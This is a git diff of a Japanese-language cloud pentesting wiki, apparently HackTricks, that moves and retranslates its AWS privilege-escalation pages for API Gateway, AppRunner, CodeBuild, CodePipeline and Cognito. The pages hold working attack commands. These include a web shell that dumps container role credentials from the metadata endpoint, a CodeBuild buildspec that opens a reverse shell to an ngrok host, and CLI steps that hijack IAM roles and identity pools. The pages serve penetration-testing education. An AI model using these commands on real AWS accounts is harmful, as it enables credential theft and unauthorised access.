--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
+++ /dev/null
@@ -1,95 +0,0 @@
-# AWS - Apigateway Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Apigateway
-
-詳細については、以下を確認してください：
-
-{{#ref}}
-../aws-services/aws-api-gateway-enum.md
-{{#endref}}
-
-### `apigateway:POST`
-
-この権限を使用すると、設定されたAPIのAPIキーを生成できます（リージョンごと）。
-```bash
-aws --region <region> apigateway create-api-key
-```
-**潜在的な影響:** この技術では特権昇格はできませんが、機密情報にアクセスできる可能性があります。
-
-### `apigateway:GET`
-
-この権限を使用すると、設定されたAPIの生成されたAPIキーを取得できます（リージョンごと）。
-```bash
-aws --region <region> apigateway get-api-keys
-aws --region <region> apigateway get-api-key --api-key <key> --include-value
-```
-**潜在的な影響:** この技術では特権昇格はできませんが、機密情報にアクセスできる可能性があります。
-
-### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
-
-これらの権限を持つことで、APIのリソースポリシーを変更し、自分自身が呼び出すためのアクセスを得て、APIゲートウェイが持つ可能性のあるアクセスを悪用することができます（脆弱なlambdaを呼び出すなど）。
-```bash
-aws apigateway update-rest-api \
---rest-api-id api-id \
---patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
-```
-**潜在的な影響:** 通常、この技術で直接権限昇格はできませんが、機密情報にアクセスできる可能性があります。
-
-### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
-
-> [!NOTE]
-> テストが必要です
-
-`apigateway:PutIntegration`、`apigateway:CreateDeployment`、および `iam:PassRole` の権限を持つ攻撃者は、**IAMロールが付与されたLambda関数を持つ既存のAPI Gateway REST APIに新しい統合を追加することができます**。攻撃者はその後、**Lambda関数をトリガーして任意のコードを実行し、IAMロールに関連付けられたリソースにアクセスできる可能性があります**。
-```bash
-API_ID="your-api-id"
-RESOURCE_ID="your-resource-id"
-HTTP_METHOD="GET"
-LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
-LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"
-
-# Add a new integration to the API Gateway REST API
-aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN
-
-# Create a deployment for the updated API Gateway REST API
-aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
-```
-**潜在的な影響**: Lambda関数のIAMロールに関連付けられたリソースへのアクセス。
-
-### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
-
-> [!NOTE]
-> テストが必要
-
-`apigateway:UpdateAuthorizer` および `apigateway:CreateDeployment` の権限を持つ攻撃者は、**既存のAPI Gatewayオーソライザーを変更**して、セキュリティチェックをバイパスしたり、APIリクエストが行われる際に任意のコードを実行したりすることができます。
-```bash
-API_ID="your-api-id"
-AUTHORIZER_ID="your-authorizer-id"
-LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
-
-# Update the API Gateway authorizer
-aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations
-
-# Create a deployment for the updated API Gateway REST API
-aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
-```
-**潜在的な影響**: セキュリティチェックのバイパス、APIリソースへの不正アクセス。
-
-### `apigateway:UpdateVpcLink`
-
-> [!NOTE]
-> テストが必要
-
-`apigateway:UpdateVpcLink` の権限を持つ攻撃者は、**既存のVPCリンクを異なるネットワークロードバランサーを指すように変更でき、プライベートAPIトラフィックを不正または悪意のあるリソースにリダイレクトする可能性があります**。
-```bash
-bashCopy codeVPC_LINK_ID="your-vpc-link-id"
-NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
-
-# Update the VPC Link
-aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
-```
-**潜在的な影響**: プライベートAPIリソースへの不正アクセス、APIトラフィックの傍受または中断。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md
new file mode 100644
index 000000000..6ea32f44d
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md
@@ -0,0 +1,95 @@
+# AWS - Apigateway Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Apigateway
+
+詳しくは以下を参照してください:
+
+{{#ref}}
+../../aws-services/aws-api-gateway-enum.md
+{{#endref}}
+
+### `apigateway:POST`
+
+この権限があれば、構成されている APIs の API keys を生成できます（リージョンごとに）。
+```bash
+aws --region <region> apigateway create-api-key
+```
+**Potential Impact:** この手法ではprivescはできませんが、機密情報にアクセスできる可能性があります。
+
+### `apigateway:GET`
+
+この権限があれば、設定されているAPIの生成済み API キーを取得できます（リージョンごと）。
+```bash
+aws --region <region> apigateway get-api-keys
+aws --region <region> apigateway get-api-key --api-key <key> --include-value
+```
+**潜在的影響:** この手法ではprivescはできませんが、機密情報にアクセスできる可能性があります。
+
+### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
+
+これらの権限があれば、APIのリソースポリシーを変更して自分にそのAPIを呼び出すアクセス権を与え、API gatewayが持つ可能性のあるアクセス（例：脆弱なlambdaを呼び出すこと）を悪用することが可能です。
+```bash
+aws apigateway update-rest-api \
+--rest-api-id api-id \
+--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
+```
+**潜在的影響:** 通常、この手法で直接privescできることは少ないですが、機密情報にアクセスできる可能性があります。
+
+### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
+
+> [!NOTE]
+> テストが必要
+
+`apigateway:PutIntegration`、`apigateway:CreateDeployment`、および `iam:PassRole` の権限を持つ攻撃者は、**IAM ロールが割り当てられた Lambda 関数を使用して既存の API Gateway REST API に新しい統合を追加**できます。攻撃者はその後、**Lambda 関数をトリガーして任意のコードを実行させ、IAM ロールに紐づくリソースにアクセスする可能性**があります。
+```bash
+API_ID="your-api-id"
+RESOURCE_ID="your-resource-id"
+HTTP_METHOD="GET"
+LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
+LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"
+
+# Add a new integration to the API Gateway REST API
+aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN
+
+# Create a deployment for the updated API Gateway REST API
+aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
+```
+**Potential Impact**: Lambda function の IAM role に関連付けられたリソースへのアクセス。
+
+### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
+
+> [!NOTE]
+> テストが必要
+
+攻撃者が `apigateway:UpdateAuthorizer` と `apigateway:CreateDeployment` の権限を持っていると、**既存の API Gateway authorizer を変更**してセキュリティチェックを回避したり、API リクエストが行われたときに任意のコードを実行させたりすることができます。
+```bash
+API_ID="your-api-id"
+AUTHORIZER_ID="your-authorizer-id"
+LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
+
+# Update the API Gateway authorizer
+aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations
+
+# Create a deployment for the updated API Gateway REST API
+aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
+```
+**潜在的影響**: セキュリティチェックの回避、APIリソースへの不正アクセス。
+
+### `apigateway:UpdateVpcLink`
+
+> [!NOTE]
+> 検証が必要
+
+`apigateway:UpdateVpcLink` の権限を持つ攻撃者は **既存の VPC Link を別の Network Load Balancer を指すように変更でき、プライベートAPIトラフィックを不正または悪意のあるリソースにリダイレクトする可能性がある**。
+```bash
+VPC_LINK_ID="your-vpc-link-id"
+NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
+
+# Update the VPC Link
+aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
+```
+**潜在的影響**: プライベート API リソースへの不正アクセス、API トラフィックの傍受または妨害。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md
similarity index 56%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md
index 797d6c8fa..1fd1bf9cd 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md
@@ -1,14 +1,14 @@
 # AWS - AppRunner Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## AppRunner
 
 ### `iam:PassRole`, `apprunner:CreateService`
 
-これらの権限を持つ攻撃者は、IAMロールが添付されたAppRunnerサービスを作成でき、ロールの資格情報にアクセスすることで特権を昇格させる可能性があります。
+これらの権限を持つ攻撃者は、AppRunner service を作成して IAM role をアタッチでき、その role の credentials にアクセスすることで権限を昇格させる可能性があります。
 
-攻撃者はまず、AppRunnerコンテナ上で任意のコマンドを実行するためのウェブシェルとして機能するDockerfileを作成します。
+攻撃者はまず、AppRunner container 上で任意のコマンドを実行する web shell として機能する Dockerfile を作成します。
 ```Dockerfile
 FROM golang:1.24-bookworm
 WORKDIR /app
@@ -41,7 +41,7 @@ EXPOSE 3000
 CMD ["./main"]
 ```
 次に、このイメージをECRリポジトリにプッシュします。  
-攻撃者が制御するAWSアカウントのパブリックリポジトリにイメージをプッシュすることで、被害者のアカウントがECRを操作する権限を持っていなくても、権限昇格が可能です。
+攻撃者が管理するAWSアカウントの公開リポジトリにイメージをプッシュすることで、被害者のアカウントがECRを操作する権限を持っていなくても、privilege escalationが可能になります。
 ```sh
 IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
 docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
@@ -49,7 +49,7 @@ aws ecr-public get-login-password | docker login --username AWS --password-stdin
 docker push $IMAGE_NAME
 docker logout public.ecr.aws
 ```
-次に、攻撃者はこのウェブシェルイメージと、悪用したいIAMロールで構成されたAppRunnerサービスを作成します。
+次に、攻撃者はこの web shell image と悪用したい IAM Role を設定した AppRunner サービスを作成します。
 ```bash
 aws apprunner create-service \
 --service-name malicious-service \
@@ -63,10 +63,10 @@ aws apprunner create-service \
 --instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
 --query Service.ServiceUrl
 ```
-サービスの作成が完了するのを待った後、ウェブシェルを使用してコンテナの資格情報を取得し、AppRunnerに添付されたIAMロールの権限を取得します。
+サービスの作成が完了するのを待ったら、web shellを使ってcontainer credentialsを取得し、AppRunnerにアタッチされているIAM Roleの権限を取得する。
 ```sh
 curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
 ```
-**潜在的な影響:** AppRunnerサービスにアタッチできる任意のIAMロールへの直接的な権限昇格。
+**Potential Impact:** AppRunner services にアタッチできる任意の IAM ロールへの直接的な権限昇格。
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md
deleted file mode 100644
index f4e2282e8..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md
+++ /dev/null
@@ -1,9 +0,0 @@
-# AWS - Chime Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### chime:CreateApiKey
-
-TODO
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md
new file mode 100644
index 000000000..28060dcbc
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md
@@ -0,0 +1,9 @@
+# AWS - Chime Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### chime:CreateApiKey
+
+未実装
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md
similarity index 68%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md
index 68d41e3b0..563d61deb 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md
@@ -1,18 +1,18 @@
 # AWS - Codebuild Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## codebuild
 
-詳細情報は以下を参照してください:
+詳細情報：
 
 {{#ref}}
-../aws-services/aws-codebuild-enum.md
+../../aws-services/aws-codebuild-enum.md
 {{#endref}}
 
 ### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
 
-これらの権限のいずれかがあれば、新しいbuildspecでビルドをトリガーし、プロジェクトに割り当てられたiamロールのトークンを盗むのに十分です:
+これらのいずれかの権限があれば、新しい buildspec でビルドを起動して、プロジェクトに割り当てられた iam role のトークンを盗むことができます：
 
 {{#tabs }}
 {{#tab name="StartBuild" }}
@@ -58,16 +58,16 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
 {{#endtab }}
 {{#endtabs }}
 
-**注意**: これらの2つのコマンドの違いは次のとおりです：
+**Note**: この2つのコマンドの違いは次のとおりです：
 
-- `StartBuild` は特定の `buildspec.yml` を使用して単一のビルドジョブをトリガーします。
-- `StartBuildBatch` は、より複雑な構成（複数のビルドを並行して実行するなど）でビルドのバッチを開始することを可能にします。
+- `StartBuild` は特定の `buildspec.yml` を使用して単一のビルドジョブを開始します。
+- `StartBuildBatch` は、より複雑な構成（複数のビルドを並列で実行するなど）でビルドのバッチを開始できます。
 
-**潜在的な影響**: 添付されたAWS Codebuildロールへの直接的な権限昇格。
+**Potential Impact:** アタッチされた AWS Codebuild ロールへの直接的な privesc。
 
 ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
-**`iam:PassRole`, `codebuild:CreateProject`, および `codebuild:StartBuild` または `codebuild:StartBuildBatch`** の権限を持つ攻撃者は、実行中のものを作成することによって **任意のcodebuild IAMロールへの権限を昇格させる**ことができます。
+攻撃者が **`iam:PassRole`、`codebuild:CreateProject`、および `codebuild:StartBuild` または `codebuild:StartBuildBatch`** の権限を持っている場合、プロジェクトを作成して実行中にすることで、任意の codebuild IAM role に対して **escalate privileges** することができます。
 
 {{#tabs }}
 {{#tab name="Example1" }}
@@ -171,20 +171,20 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data
 {{#endtab }}
 {{#endtabs }}
 
-**潜在的影響:** どのAWS Codebuildロールにも直接的な権限昇格。
+**Potential Impact:** 任意の AWS Codebuild ロールへの直接的な privesc。
 
 > [!WARNING]
-> **Codebuildコンテナ**内のファイル`/codebuild/output/tmp/env.sh`には、**メタデータ認証情報**にアクセスするために必要なすべての環境変数が含まれています。
-
-> このファイルには、**環境変数`AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**が含まれており、認証情報にアクセスするための**URLパス**が含まれています。それは次のようなものになります`/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
-
-> それをURL **`http://169.254.170.2/`**に追加すると、ロールの認証情報をダンプすることができます。
-
-> さらに、**環境変数`ECS_CONTAINER_METADATA_URI`**も含まれており、**コンテナに関するメタデータ情報を取得するための完全なURL**が含まれています。
+> **Codebuild container** 内のファイル `/codebuild/output/tmp/env.sh` は **metadata credentials** にアクセスするために必要な全ての env vars を含んでいます。
+>
+> このファイルには **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** が含まれており、資格情報にアクセスするための **URL path** を含んでいます。例として `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` のような形式になります。
+>
+> それを URL **`http://169.254.170.2/`** に追加すると、ロールの資格情報をダンプできます。
+>
+> さらに、**env variable `ECS_CONTAINER_METADATA_URI`** も含まれており、コンテナに関する **metadata info** を取得するための完全な URL が入っています。
 
 ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
-前のセクションと同様に、ビルドプロジェクトを作成する代わりに修正できる場合、IAMロールを指定してトークンを盗むことができます。
+前のセクションと同様に、build project を作成する代わりにそれを変更できる場合、IAM Role を指定して token を奪取できます。
 ```bash
 REV_PATH="/tmp/codebuild_pwn.json"
 
@@ -218,11 +218,11 @@ aws codebuild update-project --name codebuild-demo-project --cli-input-json file
 
 aws codebuild start-build --project-name codebuild-demo-project
 ```
-**潜在的影響:** どのAWS Codebuildロールへの直接的な権限昇格。
+**Potential Impact:** 任意の AWS Codebuild role への直接的な privesc。
 
 ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
-前のセクションと同様ですが、**`iam:PassRole`権限なしで**、この権限を悪用して**既存のCodebuildプロジェクトを変更し、既に割り当てられているロールにアクセスすることができます**。
+前節と同様ですが、**`iam:PassRole` 権限がなくても**、これらの権限を悪用して**既存の Codebuild プロジェクトを変更し、既に割り当てられている role にアクセスできます**。
 
 {{#tabs }}
 {{#tab name="StartBuild" }}
@@ -298,13 +298,13 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
 {{#endtab }}
 {{#endtabs }}
 
-**潜在的影響:** 添付されたAWS Codebuildロールへの直接的な権限昇格。
+**潜在的な影響:** 添付された AWS Codebuild ロールへの直接的な privesc.
 
 ### SSM
 
-**SSMセッションを開始するのに十分な権限があれば、**ビルド中の**Codebuildプロジェクトに入ることが可能です。**
+**ssm セッションを開始するための十分な権限**があれば、ビルド中の**Codebuild プロジェクトの内部**に入ることが可能です。
 
-Codebuildプロジェクトにはブレークポイントが必要です:
+codebuild project には breakpoint を設ける必要があります:
 
 <pre class="language-yaml"><code class="lang-yaml">phases:
 pre_build:
@@ -314,18 +314,18 @@ commands:
 <strong>      - codebuild-breakpoint
 </strong></code></pre>
 
-そして次に:
+そして:
 ```bash
 aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
 aws ssm start-session --target <sessionTarget> --region <region>
 ```
-For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
+詳細は [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html)。
 
 ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
 
-特定のCodeBuildプロジェクトのビルドを開始/再起動できる攻撃者は、その`buildspec.yml`ファイルを攻撃者が書き込みアクセスを持つS3バケットに保存している場合、CodeBuildプロセスでコマンド実行を取得できます。
+特定の CodeBuild プロジェクトのビルドを開始/再開でき、そのプロジェクトが `buildspec.yml` を attacker が write access を持つ S3 バケットに保存している場合、attacker は CodeBuild プロセス内で command execution を取得できます。
 
-注意: エスカレーションは、CodeBuildワーカーが攻撃者とは異なる役割を持っている場合にのみ関連します。希望的には、より特権のある役割です。
+注: このエスカレーションは、CodeBuild worker が attacker のものとは異なる role（できればより privileged なもの）である場合にのみ relevant です。
 ```bash
 aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
 
@@ -342,7 +342,7 @@ aws codebuild start-build --project-name <project-name>
 
 # Wait for the reverse shell :)
 ```
-このような **buildspec** を使用して **reverse shell** を取得できます：
+このような **buildspec** を使って **reverse shell** を取得できます:
 ```yaml:buildspec.yml
 version: 0.2
 
@@ -351,13 +351,13 @@ build:
 commands:
 - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
 ```
-**影響:** 通常高い権限を持つAWS CodeBuildワーカーによって使用されるロールへの直接的な権限昇格。
+**影響:** 通常高い権限を持つ AWS CodeBuild ワーカーが使用するロールへの直接的な privesc。
 
 > [!WARNING]
-> buildspecはzip形式で期待される可能性があるため、攻撃者はダウンロードして解凍し、ルートディレクトリから`buildspec.yml`を修正し、再度zip化してアップロードする必要があります。
+> buildspec は zip フォーマットで想定されることがあるため、攻撃者はルートディレクトリから `buildspec.yml` をダウンロード、解凍、改変、再圧縮してアップロードする必要があることに注意してください
 
-詳細は[こちら](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/)で確認できます。
+More details could be found [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
 
-**潜在的な影響:** 添付されたAWS Codebuildロールへの直接的な権限昇格。
+**潜在的影響:** 添付された AWS Codebuild ロールへの直接的な privesc。
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
deleted file mode 100644
index 96b38ff3a..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
+++ /dev/null
@@ -1,37 +0,0 @@
-# AWS - Codepipeline Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## codepipeline
-
-codepipelineに関する詳細情報は以下を確認してください:
-
-{{#ref}}
-../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
-{{#endref}}
-
-### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
-
-コードパイプラインを作成する際に、**実行するためのcodepipeline IAMロールを指定**できます。したがって、それらを妥協することができます。
-
-前述の権限に加えて、**コードが保存されている場所へのアクセス**（S3、ECR、github、bitbucket...）が必要です。
-
-私はこのプロセスをウェブページでテストしましたが、前述の権限はコードパイプラインを作成するために必要なList/Get権限ではありませんが、ウェブで作成するには以下も必要です: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<several>`
-
-**ビルドプロジェクトの作成中**に、**実行するコマンド**（rev shell?）を指定し、**特権ユーザー**としてビルドフェーズを実行することができます。これが攻撃者が妥協するために必要な設定です:
-
-![](<../../../images/image (276).png>)
-
-![](<../../../images/image (181).png>)
-
-### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
-
-前述の権限を使用して、コードパイプラインで使用されるロールや実行されるコマンドを変更することが可能かもしれません。
-
-### `codepipeline:pollforjobs`
-
-[AWSは次のように述べています](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
-
-> このAPIが呼び出されると、CodePipelineは**パイプラインのアーティファクトを保存するために使用されるS3バケットの一時的な資格情報を返します**。アクションがそのS3バケットへの入力または出力アーティファクトへのアクセスを必要とする場合。このAPIはまた、**アクションのために定義された任意の秘密の値を返します**。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md
new file mode 100644
index 000000000..e5fed7a77
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md
@@ -0,0 +1,37 @@
+# AWS - Codepipeline Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## codepipeline
+
+codepipeline の詳細は次を参照:
+
+{{#ref}}
+../../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
+{{#endref}}
+
+### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
+
+code pipeline を作成すると、実行に使用する codepipeline IAM Role を指定できるため、それを奪取できる可能性がある。
+
+前述の権限に加えて、**コードが保存されている場所へのアクセス** (S3, ECR, github, bitbucket...) が必要。
+
+私はウェブページでこのプロセスを試したが、前述の権限は codepipeline を作成するために必要な List/Get 以外のもので、ウェブで作成するにはさらに次の権限が必要だった: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<several>`
+
+build project の**作成中**に、実行する**コマンド**(rev shell?)を指定でき、ビルドフェーズを**特権ユーザー**で実行する設定にできる。これが攻撃者が奪取するために必要な構成である:
+
+![](<../../../images/image (276).png>)
+
+![](<../../../images/image (181).png>)
+
+### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
+
+これらの権限を使って、codepipeline で使用されるロールや実行されるコマンドを変更できる可能性がある。
+
+### `codepipeline:pollforjobs`
+
+[AWS mentions](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
+
+> この API が呼び出されると、CodePipeline は、アクションが入出力アーティファクトのためにその S3 バケットへのアクセスを必要とする場合、パイプラインのアーティファクトを格納するために使用される S3 バケットに対する **一時的な資格情報を返します**。この API はまた、アクションに定義された **任意のシークレット値も返します**。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
deleted file mode 100644
index f837e66bb..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
+++ /dev/null
@@ -1,274 +0,0 @@
-# AWS - Cognito Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Cognito
-
-Cognitoに関する詳細情報は、以下を確認してください：
-
-{{#ref}}
-../aws-services/aws-cognito-enum/
-{{#endref}}
-
-### アイデンティティプールからの資格情報の収集
-
-Cognitoは**認証済み**および**未認証**の**ユーザー**に**IAMロールの資格情報**を付与できるため、アプリケーションの**アイデンティティプールID**を特定できれば（アプリケーションにハードコーディングされているはずです）、新しい資格情報を取得でき、したがって権限昇格が可能です（おそらく以前は何の資格情報も持っていなかったAWSアカウント内で）。
-
-詳細情報は[**このページを確認してください**](../aws-unauthenticated-enum-access/#cognito)。
-
-**潜在的な影響：** 未認証ユーザーに付与されたサービスロールへの直接的な権限昇格（おそらく認証済みユーザーに付与されたものにも）。
-
-### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
-
-この権限を使用すると、Cognitoアプリの認証済み/未認証ユーザーに**任意のCognitoロール**を付与できます。
-```bash
-aws cognito-identity set-identity-pool-roles \
---identity-pool-id <identity_pool_id> \
---roles unauthenticated=<role ARN>
-
-# Get credentials
-## Get one ID
-aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
-## Get creds for that id
-aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
-```
-Cognitoアプリが**未認証ユーザーを有効にしていない**場合、これを有効にするために`cognito-identity:UpdateIdentityPool`の権限も必要になるかもしれません。
-
-**潜在的な影響:** どのCognitoロールにも直接的な権限昇格。
-
-### `cognito-identity:update-identity-pool`
-
-この権限を持つ攻撃者は、例えば自分の管理下にあるCognitoユーザープールや、ログインできる他のアイデンティティプロバイダーを設定することができます。これにより、**このCognitoアイデンティティプールにアクセスする方法**となります。その後、単にそのユーザープロバイダーで**ログイン**することで、**アイデンティティプールに設定された認証済みロールにアクセスできるようになります**。
-```bash
-# This example is using a Cognito User Pool as identity provider
-## but you could use any other identity provider
-aws cognito-identity update-identity-pool \
---identity-pool-id <value> \
---identity-pool-name <value> \
-[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
---cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
-
-# Now you need to login to the User Pool you have configured
-## after having the id token of the login continue with the following commands:
-
-# In this step you should have already an ID Token
-aws cognito-identity get-id \
---identity-pool-id <id_pool_id> \
---logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
-
-# Get the identity_id from thr previous commnad response
-aws cognito-identity get-credentials-for-identity \
---identity-id <identity_id> \
---logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
-```
